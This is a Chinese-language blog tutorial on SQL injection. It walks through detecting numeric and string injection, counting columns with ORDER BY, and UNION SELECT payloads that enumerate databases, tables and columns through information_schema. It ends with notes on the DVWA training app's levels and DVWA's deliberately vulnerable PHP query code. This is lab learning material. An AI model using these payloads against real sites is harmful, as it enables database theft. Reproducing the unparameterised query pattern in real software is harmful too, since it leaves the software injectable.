Fork me on GitHub

SQL Injection

关于SQL注入——SQL Injection

0x00 什么是SQL注入

因为web应用向后台数据库传递SQL语句进行数据库操作的时候没有进行数据与代码分离,把用户输入的数据当作代码来执行,没有经过严格的过滤导致攻击者可以构造特殊的SQL语句,获取或修改数据库中的数据。

关键条件

  1. 参数用户可控
  2. 参数带入数据库查询

0x01 SQL类型

注入漏洞的位置

1. 数字型注入

输入参数是整型,存在漏洞

(1) 添加单引号:

url:xxxxxx/xxx.php?id=1';

对应语句 select * from table where id=1';

语句出错,无法返回数据,同时抛出异常

(2) 添加 and 1=1

url:xxxxxxx/xxx.php?id=1 and 1=1;

对应语句 select * from table where id=1 and 1=1;

语句正确执行,不会抛出异常

(3) 添加 and 1=2

url:xxxxxxx/xxx.php?id=1 and 1=2;

对应语句 select * from table where id=1 and 1=2;

可以正常执行但是结果差异

以上三点证明为数字型注入

2. 字符型注入

输入参数为字符串,需要引号(有单有双)进行闭合

(1) admin'

select * from table where name='admin'';

语句错误产生报错

(2) admin' and 1=1

select * from table where name='admin' and 1=1';

语句错误,无法注入

改为admin' and 1=1#

通过注释符号将后面的内容注释

(3) admin' and 1=2#

可执行,但是错误的

以上三点确定为字符型输入

关于万能密码

部分整理
已知原理方便写得。

0x02 SQL流程

  1. 判断注点:数字or字符

  2. 判断字段

    什么是字段

    字段(列):某一个事物的一个属性

    元组(记录):事物特征的组合,用于描述一个具体的事物

    表:记录的组合 表示同一类事物的组合

    order by :详情

    order by num :是指按照num列对于结果进行从小到大排序,在这里通过这个判断的思想就是去猜测该数据库中存在多少列,如果有两列那么order by 2就成立,如果出现报错就证明该列不存在。

  3. 可以通过UNION,连接两个select语句,

    1' UNION SELECT 1,2#
    

    查询此时数据库1,2两列存放的内容。

    1' UNION SELECT 1,database() from information_schema.schemata#
    

    information_schema.schemata可以理解为MySQL自带的一个数据库表,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

    由此我们可以得到数据库名称,然后我们可以逐步得到数据库中的以及最后其中的数据

    表:UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

    列:UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

    
    group_concat:分组字段中的非空数据连成字符串输出
    

    危害性是显而易见的,我们可以获得用户对应的密码。

0x03 DVWA SQL Injection

  1. LOW :简单解决

  2. Medium: GET的方式不被允许了,只能通过POST方式提交,因此可以考虑经过抓包(该题面临小点:单引号被转义,可以通过转为十六进制绕过)

  3. High: 唯一区别只增加了LIMIT 1 ,同样可以被#注释

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    }
}

?>

重点

手工SQL注入首先判断为什么型注入,其次进行字段判断,再次查询数据库名,再去查表名,字段名,最后通过一步步查出数据。(首先的排查不可忽视)

存在其他注入手法例如Error注入

posted @ 2024-07-11 20:10  .u.i.c  阅读(2)  评论(0编辑  收藏  举报